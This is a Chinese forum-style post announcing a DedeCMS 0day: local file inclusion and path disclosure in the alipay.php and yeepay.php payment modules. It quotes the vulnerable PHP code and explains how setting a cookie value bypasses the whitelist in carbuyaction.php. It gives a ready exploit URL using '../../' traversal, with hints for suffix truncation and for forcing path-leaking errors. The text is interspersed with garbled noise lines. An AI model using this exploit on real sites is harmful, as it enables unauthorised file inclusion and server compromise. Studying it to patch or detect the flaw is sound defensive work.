dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
" i/ R. i/ C* O
出现漏洞的两个文件为：
( |, O3 J5 C4 j3 T/ ^% q, b# N9 X- EInclude/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
9 a% E$ h+ }# f+ R2 P* X* G9 K
/ \8 j: _; N* l, m+ g! HInclude/payment/alipay.php

( ?' D( X8 g% y0 v& r2 B......
   function respond()
    {
        if (!empty($_POST))
& G1 {2 B- `0 Q2 o- ?        {
( a7 D( u+ H3 l* _            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
            }
        }
5 m+ }/ @$ b) u4 K5 f4 N/ n        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......


大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
  F& P2 x# Y0 k. e0 K
Include/payment/yeepay.php


6 ~0 b; Z6 t6 q2 e, Q+ A
5 e; {8 [* t4 n( Q5 d+ X......
    function respond()
    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

        $p1_MerId = trim($payment['yp_account']);
2 V; s0 z  s. ^: Z! [4 r; |        $merchantKey = trim($payment['yp_key']);
......


3 c  p( a  S4 z( a& r/ }* R
; P( {  g: Y. @) {
6 v6 [+ d1 a8 M. ~大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
' s, e7 x) Q3 v+ j
这两个方法在plus/carbuyaction.php文件调用。

) D0 j4 O% h3 rplus/carbuyaction.php
: U( N( b( q# H" o6 V/ i% b
......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
9 t- I$ _! b; l& l5 p' a        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
......
! _- z8 L/ Q- V3 S" {4 }8 e

0 x0 K  ?! e) y, X7 _8 s0 U8 R
: O& a# [% H1 ~) L
5 _2 R# v. b1 u( c
, r7 M1 n' U3 {' {
9 q* d" y) Z* E' f7 S/ m% T' R  x* y大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 q! @6 J. N( E所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

- Y& n4 T5 W9 a, ~% v, N. X回到include/common.inc.php来看看他的机制。
/ J5 `" l) K" z

, \" z3 Q# ~+ J! i& T& l
3 \# B- f0 i! E; b......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
* s* J' r1 R& e. h: C, L5 D* g% I% y{
4 G  t# h8 G5 n$ B! p% V        foreach($$_request as $_k => $_v)
+ Z3 G0 B+ b" ?. `9 y/ c        {
# P- U2 D# W+ ?5 l                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
8 v" a. k' M! X) T! b  o7 K; A        }
}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。